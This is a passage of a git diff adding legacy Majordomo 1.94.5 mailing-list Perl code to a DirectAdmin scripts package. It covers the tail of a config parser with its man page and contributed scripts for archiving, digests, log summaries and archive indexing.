foreach (@files) { + # add listdir if no leading / + # + $_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #'; + push(@errors, "Can't find restrict_post file $_ at line $.\n" ) + unless -e $_; + } + return ($list); # if the list isn't any good, resend is ok about it +} + +sub grab_string { + local($string) = @_; + return($string); +} + +# accumulate an array of strings allowing escape sequences stared with a -. +sub grab_string_array { + local($value, $list, $key) = @_; + local(@s_array) = split(/\001/,$value); + local(@return_s, @s_errors, $str) = (); + + foreach $str (@s_array){ + + # a single - on a line means a blank character/line + $str = '' if ( $str eq '-' ); + $str =~ s/^-(\s+)/$1/; # a - saves space + $str =~ s/^--/-/; # a -- means - + + push(@return_s, $str), + next if $str !~ /\001/; + push(@s_errors, + "string |$str| contains a ^A at line $.\n"); + } + + if (@s_errors) { + push(@errors, @s_errors); + return ""; + } + return (join("\001", @return_s)); +} + +sub grab_word { + local($word) = @_; + + push(@errors, "More then one word " . $count . + "in value $_ at line $.\n") + if ($count = split(' ', $word)) > 1 ; + return ($word); +} + + +#### +# +# start utility routines +# +#### +sub config'get_def { + local($key, $default, $list) = @_; + local($parser) = (); + local($digest) = undef; + + # sometimes the list variable doesn't get overridden + #$orig_list = $list; # Does anyone ever need this? + $list =~ s/.new$//; # chomp a .new extention to load + # a replacement file + $baselist = $list; # Compatibility + + &main'abort( "Improper number of args to get_def") unless defined $list; + + # discover what mode we are working in + # are we generating a digest list + $digest = 1 if $list =~ /-digest$/; + + if ( $default =~ s/^#!// ) { + $default = eval("$default"); + print $@ if $@ ne ""; + } + + $parser = $parse_function{$key}; + return(($default eq '') ? '' : &$parser($default, $list, $key)); +} + +sub substitute_values { + # BUG the string \$ can't be embedded, but I see no reason it should + # be needed + local($string, $list) = @_; + + if ( index($string, '$') < $[ ) { + # if there is no $ in the string, just return the string + return($string); + } + + # hide escaped \$ variable references + $string =~ s/\\\$/\002/; + + $string =~ s/\$LIST/$list/g; + $string =~ s/\$VERSION/$main'majordomo_version/g; + $string =~ s/\$SENDER/$main'from/g; + + # replace the escaped $'s + $string =~ s/\002/\$/; + + return($string); +} + + +#### +# +# Routines for package main. +# +#### + + +# get the boolean value. Return true if not the number 0 or null. +sub main'cf_ck_bool { #given the name of the list and item, look it up + local($list, $key) = @_; + + return (1) if (($main'config_opts{$list,$key} != 0) && + $main'config_opts{$list,$key} ne ''); + return (0); +} + + +sub main'new_keyword { # all args are required + local($key,$value,$function,$subsystem,$comment) = @_; + + die "new_keyword: key is not defined" if !defined($key); + # value can be undef, so don't check for defined state of value. + die "new_keyword: function is not defined" if !defined($function); + die "new_keyword: subsystem is not defined" if !defined($subsystem); + die "new_keyword: comments are not defined" if !defined($comment); + + $key =~ s/^\s*//; # strip whitespace front + $key =~ s/\s*$//; # strip whitespace rear + $value =~ s/^\s*//; # strip whitespace front + $value =~ s/\s*$//; # strip whitespace rear + $function =~ s/^\s*//; # strip whitespace front + $function =~ s/\s*$//; # strip whitespace rear + $subsystem =~ s/^\s*//; # strip whitespace front + $subsystem =~ s/\s*$//; # strip whitespace rear + $comment =~ s/^\s*//; # strip whitespace front + $comment =~ s/\s*$//; # strip whitespace rear + + die "Keyword $key > 18 characters" if length($key) > 18; + + $known_keys{$key} = ( defined($value) ? $value : ''); # use null value + # for undef + if (!defined(&$function)) { + die "Unknown function $function (package config) for keyword $key\n"; + } + + $parse_function{$key} = $function; # set the function + + $subsystem{$key} = $subsystem; # set the subsystem + + $comments{$key} = $comment if defined $comment; # set the documentation +} + +# a dummy main for testing. You aren't expected to understand this junk. +#package main; +#require "majordomo.cf"; +#require 'mm_match_user' ; +# +# +# +#&main'get_config($ARGV[0],$ARGV[1]); +#&config'writeconfig($ARGV[0], $ARGV[1]); +#foreach $i (sort(keys(%main'config_opts))) { +#local($j) = $i; +#$j =~ s/^$ARGV[1]$;//; +#$j =~ s/^$ARGV[1]//; +#print ($j . " = " . +# ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n") +# unless $j eq ''; +#} +#print @config'errors; +# + +1; # keep require happy. + +############################################################### + +# These next few lines are legal in both Perl and nroff. + +.00; # finish .ig + +'di \" finish diversion--previous line must be blank +.nr nl 0-1 \" fake up transition to first page again +.nr % 0 \" start at page 1 +'; __END__ ##### From here on it's a standard manual page ##### +.TH config_parse.pl 8 +.SH NAME +config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword + to the majordomo configuration file parser. +.SH Syntax +.nf +.B &main'new_keyword(key, default_value, parse_function, subsystem, comment) + +.B $config_opts{, key} +.SH Description + +The new_keyword function registers a new keyword with the majordomo +configuration file parser. The default value, or an overriding value +specified in the config file will be put into the array +%main'config_opts, which is indexed by the listname and the key. + +The arguments to main'new_keyword are: +.TP 15 +key +The text of the keyword in the configuration file (e.g. +subscription_policy). It should use the '_' as a word separator and +should be less than 20 characters total length. + +.TP 15 +default_value +The default value for the string. Empty quotes must be used if the +value is to be null. If the default value starts with the characters +'#!', the string is eval'led in the context of the config package. The +function config'get_def performs the evaluation. Besides the global +values, the name of the list is available in the variable "$list", and +the current key name is available in the variable "$key". + +If the keyword is an enumerated type, the value must follow this form: + +.I value1^Avalue2^Avalue3^Avalue2 + +^A is control-A (ascii octal value 001). The default value for the +keyword is the last value in the list (note: that value2 must appear +twice, once to show it is a member of the list, and last to show that +it is the default value.) + +If the value can be an array, the default value can be a ^A separated +set of elements. These values correspond to the possible values of the +%known_keys array Before installing the config_opts code for the first +time, it is a good idea to look over the perl array %known_keys, and +change the default values. + +.TP 15 +parse_function +The parse function is used to validate the data supplied by the list +maintainer and to try to point out problems with the data. There are a +number of parse functions defined, all of the MUST be in the config +package. If you are writing a parse function of your own, make sure +that it is in the config package, otherwise the parser won't find it. + +By convention all of the parse functions supplied with in +config_parse.pl start with grab_. The name of the function is used to +derive a type value for the inline documentation. All functions that +are able to accept multiple arguments must end in _array. The +supplied functions are: + +.RS 15 +.TP 10 +grab_absolute_dir +A root anchored directory +.TP 10 +grab_absolute_file +A root anchored file +.TP 10 +grab_bool +choose from: yes, no, y, n +.TP 10 +grab_enum +One of a list of possible values +.TP 10 +grab_integer +an integer (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_integer_array +an array of integers (string made up of the digits 0-9, no decimal point) +.TP 10 +grab_float +a floating point number with decimal point. Exponential notation is not +supported. +.TP 10 +grab_float_array +an array of floating point numbers with decimal point. +Exponential notation is not supported. +.TP 10 +grab_regexp_array +an array of perl style regular expression with leading/trailing /'s +.TP 10 +grab_restrict_post +a series of space or : separated file names in which +to look up the senders address +(restrict-post should go away to be replaced by an +array of files) +.TP 10 +grab_string +any text up until a \n stripped of leading and trailing whitespace +.TP 10 +grab_string_array +handle an array of strings possibly sperated by ^A characters. +.TP 10 +grab_word +any text with no embedded whitespace +.RE + +.TP 15 +subsystem +A unique name for the value for your subsystem. This is used to clear +out old keywords when a subsystem module is removed. Only two +subsystems are defined by default: majordomo and resend. If the digest +program is converted, then the digest subsystem will also be defined. + +I would suggest that the unique identifiers for addin subsystems to +the majordomo command be prefixed with "maj-". + +.TP 15 +comment +Documentary text that is filled and printed in the config file. This +text should describe the purpose and function of the keyword. + +.SH Diagnostics + +The function calls die if any of its arguments are missing. While this +isn't as nice as trying to handle the error, it sure does get the +attention of the majordomo maintainer. + +.SH Bugs +There is no way to add text describing a new type to the header of the +config file. The documentation on a new type has to be done in the +comment text. + +The default string for an enumerated type shouldn't require +duplication of the default value. The default value string shouldn't +be so heavily overloaded either. + +This man page should be more explicit about the checks done by the +parse functions. + +new_keyword doesn't yet check and reject duplicate keywords, so it is +up to the majordomo maintainer to make sure that keywords don't +conflict. + +main'cf_ck_bool should be documented here as well. + +.SH See Also +majordomo(8), perl(1) + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl new file mode 100644 index 0000000..0e7e7e4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive.pl @@ -0,0 +1,109 @@ +#!/bin/perl + +#(Message inbox:15) +#Return-Path: Majordomo-Users-Owner@greatcircle.com +#Message-Id: +#From: Alan Millar +#Subject: Perl prog to create list archives +#To: majordomo-users@greatcircle.com +#Date: Wed, 1 Sep 1993 00:32:03 -0800 (PDT) +#Cc: brent@greatcircle.com +#Reply-To: Alan Millar +# +# +#Hi- +# +#Here is a perl program I wrote to keep mailing list archives. +#It is designed to produce list archive files similar to Revised +#Listserv. Each message is separated by a line of "==="s and +#most of the header "noise" is gone. Instead of being stored +#in one big file, they are split into one file per month with +#the name logYYMM where YY and MM are the numeric year and +#month. +# +#I call it from /usr/lib/aliases using: +# +# listname-archive: "|/usr/local/mail/majordomo/wrapper archive.pl \ +# /usr/local/mail/lists/listname.archive" +# +#Where the last parameter is the directory name to put the +#log files into. +# +#Give it a try and let me know what you think. +# +#- Alan +# +#---- ,,,, +#Alan Millar amillar@bolis.SF-Bay.org __oo \ +#System Administrator =___/ +#The skill of accurate perception is called cynicism by those who don't +#possess it. +#---- + + +# archive.pl +# Mailing list archiver. Specify the directory (not the file) +# on the command line. Messages are written to a file +# called 'logYYMM' in that directory, where YY is the two digit +# year and MM is the two-digit month. + +# Written by Alan Millar August 25 1993. + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +# The headers we want to keep, in order: +@keepHeaders = + ( "To", "cc" + , "from", "reply-to", "organization" + , "date", "subject" + , "summary", "keywords" + , "Content-Type" + ); + +#----------------------------------- +# Set up output file. See if directory is specified on command line. +$outputDir = $ARGV[0]; +if (! -d $outputDir) { + $outputDir = "/tmp"; +} +$outputDir =~ s/\/$//; # drop trailing slash + +#------------------------------------ +# Get date for log file name +($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + +# log file name is form "logYYMM" +$logFile = sprintf("$outputDir/log%2.2d%2.2d",$year,$mon + 1); + +# open output file +&lopen(OUTPUT,">>",$logFile); + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Print the headers we want + +print OUTPUT "========================================"; +print OUTPUT "======================================\n"; + +foreach $key (@keepHeaders) { + $key =~ tr[A-Z][a-z]; + if (defined($hdrs{$key})) { + $newKey = $key; substr($newKey,0,1) =~ tr/a-z/A-Z/; + printf OUTPUT "%-15s%s\n", "$newKey: ", $hdrs{$key}; + } # if non-blank +} # foreach + +print OUTPUT "\n"; + +# copy the rest of the message + +while () { + print OUTPUT $_; +} +print OUTPUT "\n"; + +&lclose(OUTPUT); diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl new file mode 100644 index 0000000..d7c6754 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl @@ -0,0 +1,34 @@ +#!/bin/perl + +# archive: A hack to use mh to handle the archives +# +# You may redistribute this file, or inlcude it into the offical majordomo +# package +# +# $Source: /sources/cvsrepos/majordomo/contrib/archive_mh.pl,v $ +# $Revision: 1.4 $ +# $Date: 1997/03/10 15:40:41 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +exec("/tools/mh-6.8/lib/mh/rcvstore +$filedir/$ARGV[0] -nocreate\n"); diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff new file mode 100644 index 0000000..12820b8 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.diff @@ -0,0 +1,348 @@ +From: pdc@lunch.asd.sgi.com (Paul Close) +Subject: Digest code diffs for 1.90 +Date: Thu, 21 Apr 1994 17:56:22 -0700 (PDT) + +Here are my changes to digest which support config file settings for +specifying the digest size in lines and/or the maximum age of the oldest +article, in days. Also support a new flag, -p (for "push"), intended for +use by cron jobs. It checks to see if a digest should be sent, and sends +it if it should (pretty well because an article is too old, but you could +use this to send all the time). + +A few comments on the code. In &should_be_sent, I calculate how big the +article would be if the headers were stripped, both in bytes and in lines. +I add in a bit of a fudge factor for mail headers, just so we don't get too +close to maxlength bytes before sending. Typically, the line count will +cause a digest to be sent before the byte count would (I see the maxlength +count as more of a mailer issue than a digest issue). + +The old digest code had a strange construct: s/\n+$/\n/; I assumed that +this was to trim newlines off the end of the string, but multi-line regexps +don't work that way. The only way I could get this to work is: + + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + +Any clever hacks appreciated. In the same area, I changed the code that +reads the body of the message to read the whole thing at once (undef $/) +rather than do multiple string concatenations. Seems more efficient. I +also added a ^From escaper, using enough of a real "From " line pattern, +that it shouldn't match just any line beginning with From. + +Under the heading of random perl lore, to count the number of newlines in a +multi-line string, I used: + + $lines += ($body =~ s/\n/\n/g); + +seems pretty straightforward, but I have the nagging suspicion there's an +easier way. + +Finally, I made digest safe past the year 2000, by printing $year+1900 +rather than 19$year. Whoopee! + +Comments welcome! The code is based on 1.90b2, which is the latest I have. + +Index: digest/digest +*** digest/digest.old Sun Mar 6 14:47:06 1994 +--- digest/digest Thu Apr 21 17:35:33 1994 +*************** +*** 63,72 **** + + if (defined($opt_r)) { + &receive_message; + } elsif (defined($opt_m)) { + &make_digest; + } else { +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +--- 63,79 ---- + + if (defined($opt_r)) { + &receive_message; ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } elsif (defined($opt_m)) { + &make_digest; ++ } elsif (defined($opt_p)) { ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } else { +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +*************** +*** 73,97 **** + + exit(0); + + sub receive_message { +- $sum = 0; + $i = 0; + do { +! $i++; +! $file = sprintf("%s/%03d", $V{'INCOMING'}, $i); +! $sum += (-s $file); + } until (! -e $file); + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + while () { + print MSG $_; + } + close(MSG); +- $sum += (-s $file); +- if ($sum > $V{'DIGEST_SIZE'}) { +- &make_digest; +- } +- return(1); + } + + +--- 80,146 ---- + + exit(0); + ++ sub should_be_sent { ++ # fudge factors for headers and footers ++ $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); ++ $lines = 25; ++ $i = 0; ++ while (1) { ++ $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); ++ last unless (-e $file); ++ open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); ++ ++ $/ = ''; # grab the header ++ $head = ; ++ ++ # only count From/Date/Subject header fields to get a ++ # more accurate size and line count. ++ $head =~ s/\n\s+/ /g; ++ $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $sum++, $lines++; ++ ++ # count the body of the message ++ undef $/; ++ $body = ; ++ $sum += length($body); ++ $lines += ($body =~ s/\n/\n/g); # count newlines ++ ++ $/ = "\n"; ++ close(COUNT); ++ $sum += length($EB) + 2, $lines += 2; # account for message delimiter ++ ++ if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { ++ return(1); ++ } ++ if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { ++ return(1); ++ } ++ if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { ++ return(1); ++ } ++ } ++ print "don't send. sum = $sum, lines = $lines\n"; ++ ++ return(0); ++ } ++ + sub receive_message { + $i = 0; + do { +! $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); ++ + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); ++ ++ # copy the message + while () { + print MSG $_; + } ++ + close(MSG); + } + + +*************** +*** 111,129 **** + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; +! ($subj) = ($head =~ /^subject:\s+(.*)/i); +! $subj = "[none]" unless $subj; +! ($from) = ($head =~ /^from:\s+(.*)/i); +! ($date) = ($head =~ /^date:\s+(.*)/i); + +! $/ = "\n"; +! while () { +! s/^-/- -/; #escape encapsulation boundaries in message +! $body .= $_; +! } + close(message); +! $body =~ s/\n+$/\n/; + + push(@subj,$subj); + print TEMP <; + $head =~ s/\n\s+/ /g; + $body = ""; +! $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; +! ($from) = $head =~ /^From:\s+(.*)/i; +! ($date) = $head =~ /^Date:\s+(.*)/i; + +! undef $/; +! $body = ; + close(message); +! +! # escape ^From ... +! $body =~ +! s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; +! $body =~ s/^-/- -/g; # escape encapsulation boundaries in message +! # trim trailing \n's +! $len = length($body) - 1; +! $len-- while (substr($body,$len,1) eq "\n"); +! substr($body,$len+1) = ""; + ++ $/ = "\n"; ++ + push(@subj,$subj); + print TEMP <))[7]; + chdir($HOME); +! &getopt("rmc:Cl:") || +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +--- 260,267 ---- + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); +! &getopt("rmpc:Cl:") || +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +*************** +*** 245,252 **** + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedirsuffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +--- 301,310 ---- + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; ++ $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; ++ $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +*************** +*** 327,333 **** + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! return($DAYS[$wday] . ", $mday " . $MONTHS[$mon] . " 19$year"); + } + + sub set_lock { +--- 385,392 ---- + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! $year += 1900; +! return("$DAYS[$wday], $mday $MONTHS[$mon] $year"); + } + + sub set_lock { + +Index: config_parse.pl +*** config_parse.pl.old Thu Apr 21 07:32:50 1994 +--- config_parse.pl Thu Apr 21 07:41:33 1994 +*************** +*** 128,133 **** +--- 128,135 ---- + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', ++ 'digest_maxlines', '', ++ 'digest_maxdays', '', + # general stuff below + 'comments', '', # comments about config file + ); +*************** +*** 331,336 **** +--- 333,346 ---- + Just like digest_rm_footer, it is also non-operative.', + ); + ++ 'digest_maxlines', ++ "automatically generate a new digest when the size of the digest exceeds ++ this number of lines.", ++ ++ 'digest_maxdays', ++ "automatically generate a new digest when the age of the oldest article in ++ the queue exceeds this number of days.", ++ + # match commands to their subsystem, by default only 4 subsystems + # exist, majordomo, resend, digest and config. + %subsystem = ( +*************** +*** 372,377 **** +--- 382,389 ---- + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', ++ 'digest_maxlines', 'digest', ++ 'digest_maxdays', 'digest', + # general stuff here + 'comments', 'config', + ); +*************** +*** 418,423 **** +--- 430,437 ---- + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', ++ 'digest_maxlines', 'grab_integer', ++ 'digest_maxdays', 'grab_integer', + # general stuff below + 'comments', 'grab_string_array', + ); + +-- +Paul Close pdc@sgi.com ...!{ames, decwrl, uunet}!sgi!pdc + + No fate but what we make + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num new file mode 100644 index 0000000..177c9d4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.num @@ -0,0 +1,45 @@ +#!/usr/local/bin/perl + +# Program name digest.num -- Digest numbering. +# +# Lindsay Haisley, FMP Computer Serivces (fmouse@fmp.com) +# +# Usage: digest.num -l list_name [-i issue_num] [-v volume_num] +# +# Sets number for next digest issue and volume number in the config file +# for list list_name. If issue_num and volume_num are not supplied, they +# are set to 0. + +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +require "$cf"; +# chdir("$homedir"); + +require "shlock.pl"; +require "config_parse.pl"; +require "getopt.pl"; + +&Getopt('liv'); +die "No list config specified\n" if !defined($opt_l); +die "List config file $opt_l.config does not exist\n" unless -e "$listdir/$opt_l.config"; +&get_config($listdir, $opt_l); + +if (defined($opt_v)) { + $volume = $opt_v; +} else { + $volume = 0; +} + +if (defined($opt_i)) { + $issue = $opt_i; +} else { + $issue = 0; +} + +$config_opts{$opt_l, "digest_volume"} = $volume; +$config_opts{$opt_l, "digest_issue"} = $issue; + +&set_lock("$listdir/$opt_l.config.LOCK"); +&config'writeconfig($listdir, $opt_l); +&free_lock("$listdir/$opt_l.config.LOCK"); +print STDERR "Config for list $opt_l set to volume $volume, issue $issue\n"; + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send new file mode 100644 index 0000000..3229833 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/digest.send @@ -0,0 +1,28 @@ +#! /bin/sh +# This script was contributed by "Paul Pomes" +# +# It only works with versions of "digest" that have been modified +# to work with the config file moddifications in majordomo 1.90 and above. +# This script can be called from cron to automatically generate +# digests for all of the lists in DIGESTDIR. E.G. +# +# daily +# 0 2 * * * /path/to/digest.send +# +# weekly (on monday) +# 0 2 * * 1 /path/to/digest.send +# +# monthly (first of the month) +# 0 2 1 * * /path/to/digest.send +# +DIGESTDIR=/usr/spool/digests +cd $DIGESTDIR + +for i in * +do + if [ -f $i/001 ]; + then + /path/to/majordomo/wrapper digest -m -C -l $i ${i}-outgoing + fi +done + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl new file mode 100644 index 0000000..e0c6da4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl @@ -0,0 +1,156 @@ +#!/bin/perl +# +# Print various statistics about the Log file +# +# Todo: summarize admin commands +# +# Paul Close, April 1994 +# + +while (<>) { + if (($mon,$day,$time,$who,$cmd) = + /([A-Za-z]+) (\d+) ([\d:]+)\s+.*majordomo\[\d+\]\s+{(.*)} (.*)/) + { + @f = split(' ',$cmd); + $cmd = $f[0]; + $f[1] =~ s/[<>]//g; + $f[2] =~ s/[<>]//g; + $count{$cmd}++; + + # help + # lists + # which [address] + # approve PASSWD ... + if ($cmd eq "approve" || + $cmd eq "help" || + $cmd eq "lists" || + $cmd eq "which") + { + ${$cmd}++; + } + + # index list + # info list + # who list + elsif ($cmd eq "index" || + $cmd eq "info" || + $cmd eq "who") + { + if ($#f == 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # get list file + # newinfo list passwd + elsif ($cmd eq "get" || + $cmd eq "newinfo") + { + if ($#f == 2) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + if ($cmd eq "get") { + $req = &ParseAddrs($who); + $long{$req} = $who; + $getcount{$req}++; + } + } else { + $bad{$cmd}++; + } + } + + # subscribe list [address] + # unsubscribe list [address] + elsif ($cmd eq "subscribe" || + $cmd eq "unsubscribe") + { + if ($#f >= 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # request cmd list subscribe (for approval) + elsif ($cmd eq "request") { + if ($#f >= 2) { + $lists{$f[2]}++; + $f[2] =~ s/-//g; + ${$f[2]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + else { + $unrecognized{$cmd}++; + } + } else { + warn "line $. didn't match!\n" if !/^$/; + } +} + +#print "Command summary:\n"; +#foreach $cmd (sort keys %count) { +# printf " %-20s %4d\n", $cmd, $count{$cmd}; +#} + +print "Global commands:\n"; +printf(" %-15s %4d\n", "help", $help) if defined($help); +printf(" %-15s %4d\n", "lists", $lists) if defined($lists); +printf(" %-15s %4d\n", "which", $which) if defined($which); +print "\n"; + +#print "Unrecognized commands:\n"; +#foreach $cmd (sort keys %unrecognized) { +# printf " %-15s %4d\n", $cmd, $unrecognized{$cmd}; +#} +#print "\n"; + +if (defined(%bad)) { + print "Incomplete commands:\n"; + foreach $cmd (sort keys %bad) { + printf " %-15s %4d\n", $cmd, $bad{$cmd}; + } + print "\n"; +} + +# skip request and newinfo +print "List subscr unsub index get info who config approve\n"; +foreach $list (sort keys %lists) { + printf "%-20s", substr($list,0,20); + $list =~ s/-//g; + %l = %{$list}; + printf " %6d %6d %6d %6d %6d %6d %6d %6d\n", $l{subscribe}, $l{unsubscribe}, + $l{index}, $l{get}, $l{info}, $l{who}, $l{config}, $l{approve}; +} +print "\n"; + +@reqs = sort {$getcount{$b}<=>$getcount{$a};} keys %getcount; +if ($#reqs >= 0) { + print "Top requestors (get command):\n"; + for ($i=0; $i < 5; $i++) { + printf " %5d %s\n", $getcount{$reqs[$i]}, $long{$reqs[$i]}; + last if ($i == $#reqs); + } +} + +# from majordomo.pl, modified to work on a single address +# $addrs = &ParseAddrs($addr_list) +sub ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"//g; # strip comments + 1 while s/.*<(.*)>.*/\1/; + s/^\s+//; + s/\s+$//; + $_; +} + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl new file mode 100644 index 0000000..63ed3a3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl @@ -0,0 +1,98 @@ +#!/bin/perl +# +# Given an archive directory, create a table of contents file and a topics +# file. The table of contents file simply lists each subject that appears +# in each archive file, while the topics file is a list of each unique +# subject and the files that subject appears in. +# +# I run this from cron every night.... +# +# Paul Close, April 1994 +# + +if ($#ARGV != -1) { + $dir = $ARGV[0]; + shift; +} +else { + die "usage: $0 archive_directory\n"; +} + +opendir(FILES, $dir) || die "Can't open directory $dir: $!\n"; +@files = readdir(FILES); # get all files in archive directory +closedir(FILES); + +open(INDEX,">$dir/CONTENTS") || die "Can't open $dir/CONTENTS: $!\n"; +open(TOPICS,">$dir/TOPICS") || die "Can't open $dir/TOPICS: $!\n"; + +foreach $basename (@files) { + next if $basename eq '.'; + next if $basename eq '..'; + next if $basename eq "CONTENTS"; + next if $basename eq "TOPICS"; + print INDEX "\n$basename:\n"; + open(FILE, "$dir/$basename") || next; + while () { + if (/^Subject:\s+(.*)/i) { + ($subj = $1) =~ s/\s*$//; + next if $subj eq ""; + # + # for index file, just print the subject + # + print INDEX " $subj\n"; + # + # for topics file, strip Re:'s, remove digest postings, + # and trim the length to 40 chars for pretty-printing. + # + 1 while ($subj =~ s/^Re(\[\d+\]|2?):\s*//i); # trim all Re:'s + next if $subj eq ""; + next if $subj =~ /[A-Za-z]+ Digest, Volume \d+,/i; + next if $subj =~ /[A-Za-z]+ Digest V\d+ #\d+/i; + if (length($subj) > 40) { + $subj = substr($subj, 0, 37) . "..."; + } + # + # Make a key that's all lower case, and no whitespace to + # reduce duplicate topics that differ only by those. This + # also results in a list of topics sorted case-independent. + # + ($key = $subj) =~ tr/A-Z/a-z/; + $key =~ s/\s+//g; + $subjlist{$key} .= "$basename,"; + if 